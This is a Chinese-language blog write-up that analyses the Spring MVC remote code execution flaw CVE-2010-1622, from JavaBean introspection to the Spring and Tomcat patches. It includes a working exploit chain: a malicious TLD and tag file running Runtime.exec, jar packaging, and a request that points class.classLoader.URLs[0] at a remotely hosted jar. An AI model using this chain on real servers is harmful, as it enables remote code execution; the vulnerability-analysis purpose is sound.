SpringMVC RCE (CVE-2010-1622)
昨天尝试入门最新的Spring Beans RCE (CVE-2022-22965) 发现虽然知道Spring大体是通过反射来绑定传进来的参数,但是它内部具体实现对于初学者来说实在是过于复杂,以至于在调试的时候云里雾里的。然后这个洞是(CVE-2022-22965)的前身,在Spring把这个洞修上之后,java9版本出现了一个能绕这个修复判断条件的方法,所以这里再来尝试分析下这个洞来加深下理解,希望能有所帮助。
漏洞条件
- Spring 3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers) 以及更早的版本 - tomcat6.0.28 之前的版本
Java Beans API
JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor
实际上来自于对Method的解析。
这里我理解为内省机制就是通过对类里面的
getter
/setter
方法的名字来判断这个类有哪些属性
example:
如我们现在声明一个JavaBean—Test
public class Test {
private String id;
private String name;
public String getPass() {
return null;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
在类Test中有私有属性id,我们可以通过getter
/setter
方法来访问或设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter
/setter
方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)
这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass
,这样会使得访问该类的同时访问到Object.class
。因为在java中所有的对象都会默认继承Object基础类。而又因为Object基础类存在一个getClass()
方法(只要有 getter
/setter
方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
没有使用stopClass
:
使用了stopClass
:
可以看到在不使用stopClass
获取到的BeanInfo里面存在class属性,这个属性对应就是Object.class。然后我们还发现,Test类里面实际上是没有pass这个属性的,但是这里却获取到pass属性,这是因为Test类有getPass
方法,所以内省机制根据方法名字认为存在pass属性。
如果我们接着调用
Introspector.getBeanInfo(Class.class)
可以看到关键的classLoader
出现了,能够让我们实现任意类加载。
SpringMVC如何实现数据绑定
首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。
在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。
过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue
方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
example:
tb中有个spouse的属性,也为TestBean
TestBean tb = new TestBean();
BeanWrapper bw = new BeanWrapperImpl(tb);
bw.setPropertyValue("spouse.name", "tom");
//等价于tb.getSpouse().setName("tom");
变量覆盖问题
在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo:
User类
public class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
UserInfo类:
public class UserInfo {
private String id ;
private String number;
private User user=new User();
private String names[] = new String[]{"1"};
public String getId() {
return id;
}
public String getNumber() {
return number;
}
public void setId(String id) {
this.id = id;
}
public User getUser() {
return user;
}
public String[] getNames() {
return names;
}
}
新建两个类User和UserInfo,其中User的name和UserInfo中id有get
和set
方法,而UserInfo中的user,number和names[]数组只有get
方法。
@RequestMapping(value = "/test", method = RequestMethod.GET)
public void test(UserInfo userInfo) {
System.out.println("id:"+userInfo.getId());
System.out.println("number:"+userInfo.getNumber());
System.out.println("class:"+userInfo.getClass());
System.out.println("user.name:"+userInfo.getUser().getName());
System.out.println("names[0]:"+ userInfo.getNames()[0]);
System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
}
测试controller,发送请求
http://localhost:8080/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333
结果:
可以看到id正常,number没有接收到也正常,因为没有set
方法,class和classLoader同样没有set
方法,所以失败。name有set
所以赋值成功。接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set
方法它却成功赋值。
调试分析
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue
方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。
- 首先在AbstractPropertyAccessor类的
setPropertyValues
方法传入一个ArrayList,里面包含了请求参数的beans键值对,然后循环取出每一个bean调用BeanWrapperImpl的setPropertyValue
- 然后我们循环到处理
names[0]
这轮循环进入BeanWrapperImpl的setPropertyValue
接着看一下它是如何获得对应的类中参数
- 跟进
getPropertyValue
方法
发现是从CachedIntrospectionResults获取PropertyDescriptor。
- 我们来看下CachedIntrospectionResults如何来的,查看CachedIntrospectionResults的构造方法。
看到了熟悉的Introspector.getBeanInfo
。这也就是我们上面讲过的内省,因此可以解释names[]
它为什么它能去获取到没有set
的属性,因为有get
就能够获取到属性了。
- 回到BeanWrapperImpl的
setPropertyValue
,继续调看看是如赋值的。
看代码可以知道当判断为Array时会直接调用Array.set
,由此绕过了pojo的set
方法,直接调用底层赋值,也就是说及时pojo没有写set
方法也能够赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set
方法的。对于一般的值,直接调用java反射中的writeMethod
方法给予赋值。
这里我的理解是除了Array、List、Map以外的其他类型都需要
set
方法才能赋值,所以demo里面的number属性没有赋值上。
利用
从之前测试的图我们可以看到程序运行环境的classLoader。随着web容器的不同,大家对这个东西的实现方式不一样。在tomcat上,也就是spring mvc拿到tomcat上运行时,它会变成:
org.apache.catalina.loader.WebappClassLoader
可以从tomcat的api文档中,查到这个类的一些字段:http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html
我们可以看到WebappLoader类,继承URLClassLoader类,URLClassLoader的一个方法叫做getURLs
,返回一个数组。而由上面的分析可知:只要一个getter
返回的是一个数组,就会绕过安全限制。所以接下来我们就尝试用这个URLs[]
来搞事情。
getURLs
方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过
jar:http://vps/test.jar!/
这个URL,会下载到服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
tld 和 tag 文件
- 这个 tld 文件是个啥玩意呢?
tld是标签库描述文件,用于存放标签名字和类的映射用的
标签库:它把类标签和后面的Java类映射起来,它减少了页面的代码,使页面更加的清晰,其实标签最后还是被解释成后台的java代码。
原理是,在用户在jsp页面中使用标签时,系统首先会先到xml文件中的
<taglib>
标签中的<taglib-uri>
和<taglib-location>
这两对标签找到相对应的扩展名为tld文件,然后在 tld文件中的映射再找到相对应的taglib类。创建的每个标签都必须在tld文件中声明,如果要在jsp页面用jsp的标签,必先先实现定义标签的类,然后在标签库描述文件(TLD)中将写好的类映射成jsp标签,然后在jsp页面中使用定义好的标签,然后就可以实现动态的jsp信息。
- Tag文件又是啥?
在Web应用中许多JSP页面都有相同的信息,如都需要相同的导航栏和尾页等。如果能把相同的信息都形成一种特殊的文件,而且各个JSP页面都可以使用这种特殊的文件,那么就能实现代码的复用,维护性就比较好了
实现代码复用还有另外两种方式,include指令和include动作,那就来说说他们的不足吧,首先不论是include指令还是include动作处理的都是单一 的JSP文件,用户可以通过输入地址栏的方式来访问响应的JSP文件,这时候用户访问的JSP文件可能只是一个导航栏,这不是设计者希望看到的.include指令的耦合性太大,include动作虽然耦合性较小但是能放在Web服务目录的任意子目录中,不仅显的杂乱无章,还不利于管理和维护.
使用tag文件就能很好的解决这一缺点,tag文件不仅能实现动态加载实现代码复用,还不能让用户直接访问,tag文件放在指定 的目录下,维护起来会比较方便(很多时候会让tag文件去处理数据,而JSP页面只是去显示数据,实现数据显示和数据处理分离,这样就比较便于维护了)
上面的一堆介绍太长不看,而且似乎时老掉牙的东西?所以我们直接看怎么去用这两文件去RCE!
上面提到Spring会通过 TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数,并用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的,通过漏洞我们可以对classLoader的URLs[]进行赋值操作,然后Spring会通过平台解析,从URLs[]中提取它所需要的TLD文件,并在执行jsp时运行这个TLD所包含的内容。
有了这个思路,利用方法就是构造一个带有恶意TLD文件的jar,通过HTTP将jar的地址告诉URLs[],然后坐等执行。
构造的这个带有恶意 TLD 文件的 jar 包结构如下:
其中:
spring-form.tld 是 Spring 自带的文件,form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">
<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
</taglib>
InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("calc");
%>
这里我的理解是:TLD 文件会将用到了Spring这个
<uri>http://www.springframework.org/tags/form</uri>
标签库的 jsp 文件里面的<input>
和<form>
标签都替换为 InputTag.tag 文件里面的内容,而InputTag.tag里面就能先任意代码执行。
这里我不知道怎么在IDEA中把这两个文件打包进正确的目录中,所以我是打包后解压在把文件复制进去,然后再进行打包的。打包命令:
jar cvf exp.jar *
这样我们带有恶意 TLD 文件和 tag 文件的 jar 包就构造好了,然后我们在本地用python起个http服务:
python3 -m http.server
环境搭建
然后编写我们的测试SpringMVC代码:
这里手生配环境都鼓捣了好久,所以把配置文件都写出来吧,真正有用的只是那个hello.jsp文件
- web.xml 配置文件让springMVC接管servlet
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--注册servlet-->
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--初始化Spring配置文件的位置-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<!--启动顺序,数字越小,启动越早-->
<load-on-startup>1</load-on-startup>
</servlet>
<!--所有的请求都会被SpringMVC拦截-->
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
- springmvc-servlet.xml配置文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="controller"/>
<!-- 支持mvc注解驱动-->
<mvc:annotation-driven />
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"
id="internalResourceViewResolver">
<!-- 前缀 -->
<property name="prefix" value="/WEB-INF/" />
<!-- 后缀 -->
<property name="suffix" value=".jsp" />
</bean>
</beans>
- hello.jsp用到了
<uri>http://www.springframework.org/tags/form</uri>
标签库
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
- 再写个简单的controller处理我们的请求
package controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import pojo.User;
@Controller
public class TestController {
@RequestMapping(value = "/hello")
public String hello(Model model, User user) {
model.addAttribute("user",user);
model.addAttribute("name", user.getName());
return "hello";
}
}
这样环境就配好了!!
启动服务并访问URL:
http://localhost:8080/hello?class.classLoader.URLs[0]=jar:http://localhost:8000/test.jar!/
成功执行任意代码。
最后再来理一遍漏洞利用的过程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析-> 读取TLD文件加载恶意代码
首先是springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]
可以被控制,setPropertyValue
将对应参数填入classLoader的URLs[],而这里的classLoader是WebappClassLoader。接着在渲染jsp页面时,Spring会通过Tomcat的Jasper包中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars
方法依次读取并加载,下面这张图也解释了为什么我们的恶意 TLD 文件要放到 META-INF 目录中。最后就是从读取恶意的 TLD 文件中将 tag 文件中的恶意代码替换掉原本jsp中的标签进行执行。
修复
Spring
咱们再来看看Spring3.0.3对之的修复方法:
在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classLoader添加进了黑名单。
也就是说在利用Introspector.getBeanInfo
获取到属性后,如果是class类并且它的属性是classLoader时,则跳过。
但是这里修复的方式被java9的新特性module绕过了,在java9中可以通过class.module.classLoader
去获取classLoader
,所以就有了(CVE-2022-22965)。
Tomcat
虽然是spring的漏洞,但tomcat也做了修复
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]
参考资料
Spring framework(cve-2010-1622)漏洞利用指南